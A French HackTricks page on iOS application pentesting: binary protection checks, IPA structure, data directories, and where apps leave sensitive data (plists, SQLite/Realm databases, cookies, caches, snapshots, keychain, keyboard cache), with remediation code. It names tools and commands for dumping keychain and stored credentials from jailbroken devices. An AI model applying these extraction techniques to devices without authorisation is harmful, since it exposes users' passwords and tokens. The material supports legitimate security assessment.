mirror of https://github.com/carlospolop/hacktricks synced 2024-12-04 18:40:54 +00:00

Translator b9a8567492 Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

2023-10-09 19:58:32 +00:00

86 KiB

Raw Blame History

iOS Pentesting

Utilisez Trickest pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
Découvrez The PEASS Family, notre collection exclusive de NFT
Obtenez le swag officiel PEASS & HackTricks
Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Fondamentaux d'iOS

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

Environnement de test

Sur cette page, vous trouverez des informations sur le simulateur iOS, les émulateurs et le jailbreak :

{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}

Analyse initiale

Opérations de test de base d'iOS

Pendant le test, plusieurs opérations seront suggérées (connexion à l'appareil, lecture/écriture/téléchargement de fichiers, utilisation d'outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, commencez par lire la page :

{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}

{% hint style="info" %} Pour les étapes suivantes, l'application doit être installée sur l'appareil et vous devez déjà avoir obtenu le fichier IPA de l'application.
Lisez la page Opérations de test de base d'iOS pour apprendre comment faire cela. {% endhint %}

Analyse statique de base

Il est recommandé d'utiliser l'outil MobSF pour effectuer une analyse statique automatique du fichier IPA.

Identification des protections présentes dans le binaire :

PIE (Position Independent Executable) : Lorsqu'il est activé, l'application se charge à une adresse mémoire aléatoire à chaque démarrage, ce qui rend plus difficile de prédire son adresse mémoire initiale.

otool -hv <app-binary> | grep PIE   # Il devrait inclure le drapeau PIE

Canaris de pile : Pour valider l'intégrité de la pile, une valeur de "canari" est placée sur la pile avant d'appeler une fonction et est validée à nouveau une fois que la fonction se termine.

otool -I -v <app-binary> | grep stack_chk   # Il devrait inclure les symboles : stack_chk_guard et stack_chk_fail

ARC (Automatic Reference Counting) : Pour prévenir les erreurs courantes de corruption de mémoire

otool -I -v <app-binary> | grep objc_release   # Il devrait inclure le symbole _objc_release

Binaire chiffré : Le binaire doit être chiffré

otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # Le cryptid devrait être 1

Identification des fonctions sensibles/in-sécurisées

Algorithmes de hachage faibles

# Sur l'appareil iOS
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# Sur Linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"

Fonctions de génération de nombres aléatoires non sécurisées

# Sur l'appareil iOS
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# Sur Linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"

Fonction 'Malloc' non sécurisée

# Sur l'appareil iOS
otool -Iv <app> | grep -w "_malloc"

# Sur Linux
grep -iER "_malloc"

Fonctions non sécurisées et vulnérables

# Sur l'appareil iOS
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# Sur Linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Analyse dynamique de base

Consultez l'analyse dynamique effectuée par MobSF. Vous devrez naviguer à travers les différentes vues et interagir avec elles, mais cela va accrocher plusieurs classes et effectuer d'autres actions, puis préparer un rapport une fois que vous avez terminé.

Liste des applications installées

Lorsque vous ciblez des applications installées sur l'appareil, vous devez d'abord trouver l'identifiant de bundle correct de l'application que vous souhaitez analyser. Vous pouvez utiliser frida-ps -Uai pour obtenir toutes les applications (-a) actuellement installées (-i) sur l'appareil USB connecté (-U):

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Énumération de base et Hooking

Apprenez comment énumérer les composants de l'application et comment facilement hooker les méthodes et les classes avec objection:

{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}

Structure IPA

Les fichiers .ipa sont des paquets zippés, vous pouvez donc changer l'extension en .zip et les décompresser. Une application complète prête à être installée est communément appelée un Bundle.
Après les avoir décompressés, vous devriez voir <NOM>.app, une archive zippée qui contient le reste des ressources.

Info.plist: Un fichier qui contient certaines des configurations spécifiques de l'application.
_CodeSignature/ contient un fichier plist avec une signature sur tous les fichiers du bundle.
Assets.car: Une autre archive zippée qui contient des ressources (icônes).
Frameworks/ contient les bibliothèques natives de l'application sous forme de fichiers .dylib ou .framework.
PlugIns/ peut contenir des extensions d'application sous forme de fichiers .appex (absents dans l'exemple).
Core Data: Il est utilisé pour enregistrer les données permanentes de votre application pour une utilisation hors ligne, pour mettre en cache les données temporaires et pour ajouter des fonctionnalités d'annulation à votre application sur un seul appareil. Pour synchroniser les données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit.
PkgInfo: Le fichier PkgInfo est une autre façon de spécifier le type et les codes de créateur de votre application ou bundle.
en.lproj, fr.proj, Base.lproj: Ce sont les packs de langues qui contiennent des ressources pour ces langues spécifiques, ainsi qu'une ressource par défaut au cas où une langue n'est pas prise en charge.

Il existe plusieurs façons de définir l'interface utilisateur dans une application iOS: les fichiers storyboard, nib ou xib.

Info.plist

La liste de propriétés d'informations ou Info.plist est la principale source d'informations pour une application iOS. Il s'agit d'un fichier structuré contenant des paires clé-valeur décrivant des informations de configuration essentielles sur l'application. En fait, tous les exécutables inclus (extensions d'application, frameworks et applications) sont censés avoir un fichier Info.plist. Vous pouvez trouver toutes les clés possibles dans la documentation du développeur Apple.

Le fichier peut être formaté en XML ou en binaire (bplist). Vous pouvez le convertir en format XML avec une seule commande :

Sur macOS avec plutil, qui est un outil natif de macOS 10.2 et des versions supérieures (aucune documentation en ligne officielle n'est actuellement disponible) :

$ plutil -convert xml1 Info.plist

Sur Linux :

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Voici une liste non exhaustive de certaines informations et des mots-clés correspondants que vous pouvez facilement rechercher dans le fichier Info.plist en inspectant simplement le fichier ou en utilisant grep -i <mot-clé> Info.plist :

Chaînes de but des autorisations de l'application : UsageDescription
Schemes d'URL personnalisés : CFBundleURLTypes
Types de documents personnalisés exportés/importés : UTExportedTypeDeclarations / UTImportedTypeDeclarations
Configuration de la sécurité du transport de l'application (ATS) : NSAppTransportSecurity

Veuillez vous référer aux chapitres mentionnés pour en savoir plus sur la façon de tester chacun de ces points.

Chemins des données

Sur iOS, les applications système peuvent être trouvées dans le répertoire /Applications tandis que les applications installées par l'utilisateur sont disponibles sous /private/var/containers/. Cependant, trouver le bon dossier simplement en naviguant dans le système de fichiers n'est pas une tâche facile car chaque application reçoit un UUID (Universal Unique Identifier) de 128 bits aléatoire attribué à ses noms de répertoire.

Pour obtenir facilement les informations sur le répertoire d'installation des applications installées par l'utilisateur, vous pouvez utiliser la commande env d'objection qui vous montrera également toutes les informations sur les répertoires de l'application :

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

Vous pouvez également rechercher le nom de l'application dans /private/var/containers :

find /private/var/containers -name "Progname*"

Ou en utilisant ps et lsof :

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Comme vous pouvez le voir, les applications ont deux emplacements principaux :

Le répertoire Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/).
Le répertoire Data (/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/).

Ces dossiers contiennent des informations qui doivent être examinées de près lors des évaluations de sécurité des applications (par exemple, lors de l'analyse des données stockées pour des données sensibles).

Répertoire Bundle :

AppName.app
Il s'agit du Bundle de l'application tel qu'il apparaît dans l'IPA, il contient les données essentielles de l'application, le contenu statique ainsi que le binaire compilé de l'application.
Ce répertoire est visible par les utilisateurs, mais les utilisateurs ne peuvent pas y écrire.
Le contenu de ce répertoire n'est pas sauvegardé.
Le contenu de ce dossier est utilisé pour valider la signature du code.

Répertoire Data :

Documents/
Contient toutes les données générées par l'utilisateur. L'utilisateur final de l'application initie la création de ces données.
Visible par les utilisateurs et les utilisateurs peuvent y écrire.
Le contenu de ce répertoire est sauvegardé.
L'application peut désactiver les chemins en définissant NSURLIsExcludedFromBackupKey.
Library/
Contient tous les fichiers qui ne sont pas spécifiques à l'utilisateur, tels que les caches, les préférences, les cookies et les fichiers de configuration de la liste de propriétés (plist).
Les applications iOS utilisent généralement les sous-répertoires Application Support et Caches, mais l'application peut créer des sous-répertoires personnalisés.
Library/Caches/
Contient des fichiers mis en cache semi-persistants.
Invisible pour les utilisateurs et les utilisateurs ne peuvent pas y écrire.
Le contenu de ce répertoire n'est pas sauvegardé.
Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application ne s'exécute pas et que l'espace de stockage est limité.
Library/Application Support/
Contient des fichiers persistants nécessaires à l'exécution de l'application.
Invisible pour les utilisateurs et les utilisateurs ne peuvent pas y écrire.
Le contenu de ce répertoire est sauvegardé.
L'application peut désactiver les chemins en définissant NSURLIsExcludedFromBackupKey.
Library/Preferences/
Utilisé pour stocker des propriétés qui peuvent persister même après le redémarrage d'une application.
Les informations sont enregistrées, non chiffrées, à l'intérieur du bac à sable de l'application dans un fichier plist appelé [BUNDLE_ID].plist.
Toutes les paires clé/valeur stockées à l'aide de NSUserDefaults peuvent être trouvées dans ce fichier.
tmp/
Utilisez ce répertoire pour écrire des fichiers temporaires qui n'ont pas besoin de persister entre les lancements de l'application.
Contient des fichiers mis en cache non persistants.
Invisible pour les utilisateurs.
Le contenu de ce répertoire n'est pas sauvegardé.
Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application ne s'exécute pas et que l'espace de stockage est limité.

Jetons un coup d'œil plus attentif au répertoire Bundle de l'application iGoat-Swift (.app) à l'intérieur du répertoire Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app) :

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Rétro-ingénierie binaire

À l'intérieur du dossier <nom-de-l'application>.app, vous trouverez un fichier binaire appelé <nom-de-l'application>. C'est le fichier qui sera exécuté. Vous pouvez effectuer une inspection de base du binaire avec l'outil otool :

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Vérifier si l'application est chiffrée

Vérifiez s'il y a une sortie pour:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Désassemblage du binaire

Désassemblez la section de texte :

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Pour afficher le segment Objective-C de l'application d'exemple, on peut utiliser :

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Afin d'obtenir un code Objective-C plus compact, vous pouvez utiliser class-dump:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

Cependant, les meilleures options pour désassembler le binaire sont: Hopper et IDA.

Utilisez Trickest pour créer facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Stockage des données

Pour en savoir plus sur la façon dont iOS stocke les données dans l'appareil, lisez cette page:

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

{% hint style="warning" %} Les emplacements suivants pour stocker des informations doivent être vérifiés juste après l'installation de l'application, après avoir vérifié toutes les fonctionnalités de l'application et même après s'être déconnecté d'un utilisateur et s'être connecté à un autre.
L'objectif est de trouver des informations sensibles non protégées de l'application (mots de passe, jetons), de l'utilisateur actuel et des utilisateurs précédemment connectés. {% endhint %}

Plist

Les fichiers plist sont des fichiers XML structurés qui contiennent des paires clé-valeur. C'est une façon de stocker des données persistantes, donc parfois vous pouvez trouver des informations sensibles dans ces fichiers. Il est recommandé de vérifier ces fichiers après l'installation de l'application et après l'avoir utilisée intensivement pour voir si de nouvelles données sont écrites.

La façon la plus courante de persister les données dans les fichiers plist est d'utiliser NSUserDefaults. Ce fichier plist est enregistré à l'intérieur du bac à sable de l'application dans Library/Preferences/<appBundleID>.plist

La classe NSUserDefaults fournit une interface programmatique pour interagir avec le système par défaut. Le système par défaut permet à une application de personnaliser son comportement en fonction des préférences de l'utilisateur. Les données enregistrées par NSUserDefaults peuvent être consultées dans le bundle de l'application. Cette classe stocke les données dans un fichier plist, mais elle est destinée à être utilisée avec de petites quantités de données.

Ces données ne peuvent plus être directement accessibles via un ordinateur de confiance, mais elles peuvent être accessibles en effectuant une sauvegarde.

Vous pouvez extraire les informations enregistrées en utilisant NSUserDefaults en utilisant la commande ios nsuserdefaults get d'objection.

Pour trouver tous les fichiers plist utilisés par l'application, vous pouvez accéder à /private/var/mobile/Containers/Data/Application/{APPID} et exécuter:

find ./ -name "*.plist"

Le fichier peut être formaté en XML ou en binaire (bplist). Vous pouvez le convertir en format XML avec une simple commande :

Sur macOS avec plutil, qui est un outil natif de macOS 10.2 et des versions supérieures (aucune documentation en ligne officielle n'est actuellement disponible) :

$ plutil -convert xml1 Info.plist

Sur Linux :

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Sur une session objection :

ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist

Core Data

Core Data est un framework pour gérer la couche modèle des objets dans votre application. Core Data peut utiliser SQLite comme son magasin persistant, mais le framework lui-même n'est pas une base de données.
CoreData n'encrypte pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Consultez le repo GitHub pour plus de détails.

Vous pouvez trouver les informations SQLite Core Data d'une application dans le chemin /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Si vous pouvez ouvrir le SQLite et accéder à des informations sensibles, alors vous avez trouvé une mauvaise configuration.

{% code title="Code from iGoat" %}

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

{% endcode %}

YapDatabase

YapDatabase est un magasin clé/valeur construit sur SQLite.
Comme les bases de données Yap sont des bases de données SQLite, vous pouvez les trouver en utilisant la commande proposée dans la section précédente.

Autres bases de données SQLite

Il est courant que les applications créent leur propre base de données SQLite. Elles peuvent y stocker des données sensibles et les laisser non chiffrées. Il est donc toujours intéressant de vérifier chaque base de données dans le répertoire des applications. Allez donc dans le répertoire de l'application où les données sont enregistrées (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Bases de données en temps réel Firebase

Elles peuvent être utilisées par les développeurs d'applications pour stocker et synchroniser des données avec une base de données NoSQL hébergée dans le cloud. Les données sont stockées au format JSON et sont synchronisées en temps réel avec chaque client connecté, et elles restent également disponibles même lorsque l'application est hors ligne.

Vous pouvez trouver comment vérifier les bases de données Firebase mal configurées ici:

{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}

Bases de données Realm

Realm Objective-C et Realm Swift ne sont pas fournies par Apple, mais elles méritent d'être mentionnées. Elles stockent tout en clair, sauf si la configuration a activé le chiffrement.

Vous pouvez trouver ces bases de données dans /private/var/mobile/Containers/Data/Application/{APPID}.

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Vous pouvez utiliser l'outil Realm Studio pour ouvrir ces fichiers de base de données.

L'exemple suivant démontre comment utiliser le chiffrement avec une base de données Realm :

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Bases de données Couchbase Lite

Couchbase Lite est un moteur de base de données léger, intégré et orienté documents (NoSQL) qui peut être synchronisé. Il est compilé nativement pour iOS et macOS.

Vérifiez la présence éventuelle de bases de données Couchbase dans /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Cookies

iOS stocke les cookies des applications dans le fichier Library/Cookies/cookies.binarycookies à l'intérieur du dossier de chaque application. Cependant, les développeurs décident parfois de les enregistrer dans le trousseau car le fichier de cookies mentionné peut être accessible dans les sauvegardes.

Pour inspecter le fichier de cookies, vous pouvez utiliser ce script python ou utiliser la commande ios cookies get d'objection.
Vous pouvez également utiliser objection pour convertir ces fichiers au format JSON et inspecter les données.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Cache

Par défaut, NSURLSession stocke les données telles que les requêtes et les réponses HTTP dans la base de données Cache.db. Cette base de données peut contenir des données sensibles si des jetons, des noms d'utilisateur ou toute autre information sensible a été mise en cache. Pour trouver les informations mises en cache, ouvrez le répertoire de données de l'application (/var/mobile/Containers/Data/Application/<UUID>) et accédez à /Library/Caches/<Bundle Identifier>. Le cache WebKit est également stocké dans le fichier Cache.db. Objection peut ouvrir et interagir avec la base de données avec la commande sqlite connect Cache.db, car il s'agit d'une base de données SQLite normale.

Il est recommandé de désactiver la mise en cache de ces données, car elles peuvent contenir des informations sensibles dans la requête ou la réponse. La liste suivante montre différentes façons d'y parvenir :

Il est recommandé de supprimer les réponses mises en cache après la déconnexion. Cela peut être fait avec la méthode fournie par Apple appelée removeAllCachedResponses. Vous pouvez appeler cette méthode comme suit :

URLCache.shared.removeAllCachedResponses()

Cette méthode supprimera toutes les requêtes et réponses mises en cache du fichier Cache.db. 2. Si vous n'avez pas besoin d'utiliser les cookies, il est recommandé d'utiliser simplement la propriété .ephemeral de URLSession, qui désactivera l'enregistrement des cookies et des caches.

Documentation Apple :

Un objet de configuration de session éphémère est similaire à un objet de configuration de session par défaut (voir default), à l'exception que l'objet de session correspondant ne stocke pas de caches, de magasins d'informations d'identification ou de données liées à la session sur le disque. Au lieu de cela, les données liées à la session sont stockées en RAM. La seule fois où une session éphémère écrit des données sur le disque, c'est lorsque vous lui demandez d'écrire le contenu d'une URL dans un fichier. 3. Le cache peut également être désactivé en définissant la politique de cache sur .notAllowed. Cela désactivera le stockage du cache de quelque manière que ce soit, que ce soit en mémoire ou sur disque.

Snapshots

Chaque fois que vous appuyez sur le bouton d'accueil, iOS prend une capture d'écran de l'écran actuel afin de pouvoir effectuer la transition vers l'application de manière plus fluide. Cependant, si des données sensibles sont présentes à l'écran, elles seront enregistrées dans l'image (qui persiste même après le redémarrage). Ce sont les captures d'écran auxquelles vous pouvez également accéder en double-cliquant sur l'écran d'accueil pour basculer entre les applications.

À moins que l'iPhone ne soit jailbreaké, l'attaquant doit avoir accès au périphérique déverrouillé pour voir ces captures d'écran. Par défaut, la dernière capture d'écran est stockée dans le sandbox de l'application dans le dossier Library/Caches/Snapshots/ ou Library/SplashBoard/Snapshots (les ordinateurs de confiance ne peuvent pas accéder au système de fichiers à partir de iOS 7.0).

Une façon de prévenir ce comportement indésirable est de mettre un écran vide ou de supprimer les données sensibles avant de prendre la capture d'écran en utilisant la fonction ApplicationDidEnterBackground().

Voici un exemple de méthode de remédiation qui définira une capture d'écran par défaut.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

Objective-C est un langage de programmation utilisé pour développer des applications iOS. Il est basé sur le langage C et ajoute des fonctionnalités orientées objet. Dans le contexte du piratage d'applications iOS, il est important de comprendre les bases d'Objective-C pour pouvoir analyser et exploiter les vulnérabilités potentielles.

Les techniques de piratage d'applications iOS peuvent inclure l'analyse de code source, l'injection de code, la rétro-ingénierie et l'exploitation de vulnérabilités connues. Il est essentiel de comprendre comment fonctionne Objective-C pour pouvoir identifier et exploiter ces vulnérabilités.

Lors de l'analyse d'une application iOS, il est utile de connaître les principaux concepts d'Objective-C, tels que les classes, les méthodes, les propriétés et les messages. Ces concepts sont utilisés pour créer des applications iOS et peuvent également être utilisés pour identifier les vulnérabilités potentielles.

En utilisant des outils de piratage spécifiques à iOS, tels que Cycript, Clutch et Frida, il est possible d'analyser et de manipuler le code Objective-C d'une application. Ces outils permettent de contourner les mécanismes de sécurité et d'explorer les fonctionnalités internes de l'application.

Il est important de noter que le piratage d'applications iOS sans autorisation est illégal. Les techniques de piratage d'applications iOS doivent être utilisées à des fins éthiques, telles que la réalisation de tests de pénétration autorisés ou la sécurisation des applications contre les attaques potentielles.

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

Cela définit l'image de fond sur overlayImage.png chaque fois que l'application passe en arrière-plan. Cela empêche les fuites de données sensibles car overlayImage.png remplacera toujours la vue actuelle.

Keychain

Des outils comme Keychain-Dumper peuvent être utilisés pour extraire le trousseau (le périphérique doit être jailbreaké).
Vous pouvez également utiliser ios keychain dump depuis Objection.

NSURLCredential

NSURLCredential est la classe parfaite pour stocker le nom d'utilisateur et le mot de passe dans le trousseau. Pas besoin de s'embêter avec NSUserDefaults ni avec un wrapper pour le trousseau.
Une fois que l'utilisateur est connecté, vous pouvez stocker son nom d'utilisateur et son mot de passe dans le trousseau :

NSURLCredential *credential;

credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Vous pouvez utiliser Objection's ios nsurlcredentialstorage dump pour extraire ces secrets.

Claviers personnalisés/Cache du clavier

Depuis iOS 8.0, Apple permet d'installer des extensions personnalisées pour iOS, comme des claviers personnalisés.
Les claviers installés peuvent être gérés via Réglages > Général > Clavier > Claviers.
Les claviers personnalisés peuvent être utilisés pour capturer les frappes et les envoyer au serveur de l'attaquant. Cependant, notez que les claviers personnalisés nécessitant une connectivité réseau seront signalés à l'utilisateur.
De plus, l'utilisateur peut passer à un clavier différent (plus fiable) pour saisir les identifiants.

De plus, les applications peuvent empêcher leurs utilisateurs d'utiliser des claviers personnalisés dans l'application (ou du moins pour les parties sensibles de l'application).

{% hint style="warning" %} Il est recommandé de ne pas autoriser les claviers tiers si vous estimez que les utilisateurs n'en auront pas besoin. {% endhint %}

Notez que, en raison de la correction automatique et des suggestions automatiques, le clavier iOS par défaut capturera et stockera chaque mot non standard dans un fichier cache si l'attribut secureTextEntry n'est pas défini sur true ou si autoCorrectionType n'est pas défini sur UITextAutoCorrectionTypeNo.

Par défaut, les claviers stockent ce cache à l'intérieur du sandbox des applications dans le fichier Library/Keyboard/{locale}-dynamic-text.dat ou dans /private/var/mobile/Library/Keyboard/dynamic-text.dat. Cependant, il se peut qu'il enregistre les données ailleurs.
Il est possible de réinitialiser le cache dans Réglages > Général > Réinitialiser > Réinitialiser le dictionnaire du clavier

{% hint style="info" %} Par conséquent, vérifiez toujours ces fichiers et recherchez d'éventuelles informations sensibles.
Intercepter le trafic réseau est une autre façon de vérifier si le clavier personnalisé envoie les frappes à un serveur distant. {% endhint %}

Le protocole UITextInputTraits est utilisé pour le cache du clavier. Les classes UITextField, UITextView et UISearchBar prennent automatiquement en charge ce protocole et offrent les propriétés suivantes :

var autocorrectionType: UITextAutocorrectionType détermine si la correction automatique est activée pendant la saisie. Lorsque la correction automatique est activée, l'objet texte suit les mots inconnus et suggère des remplacements appropriés, remplaçant automatiquement le texte saisi à moins que l'utilisateur ne remplace le remplacement. La valeur par défaut de cette propriété est UITextAutocorrectionTypeDefault, qui active la correction automatique pour la plupart des méthodes de saisie.
var secureTextEntry: BOOL détermine si la copie de texte et le cache de texte sont désactivés et masque le texte saisi pour UITextField. La valeur par défaut de cette propriété est NO.

Pour identifier ce comportement dans le code :

Recherchez des implémentations similaires dans le code source, telles que

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Ouvrez les fichiers xib et storyboard dans l'Interface Builder de Xcode et vérifiez les états de Secure Text Entry et Correction dans l'Inspecteur d'attributs pour l'objet approprié.

L'application doit empêcher la mise en cache des informations sensibles saisies dans les champs de texte. Vous pouvez empêcher la mise en cache en la désactivant de manière programmée, en utilisant la directive textObject.autocorrectionType = UITextAutocorrectionTypeNo dans les UITextFields, UITextViews et UISearchBars souhaités. Pour les données qui doivent être masquées, telles que les codes PIN et les mots de passe, définissez textObject.secureTextEntry sur YES.

UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Journaux

Les moyens les plus courants de déboguer du code consistent à utiliser des journaux, et l'application peut imprimer des informations sensibles dans les journaux.
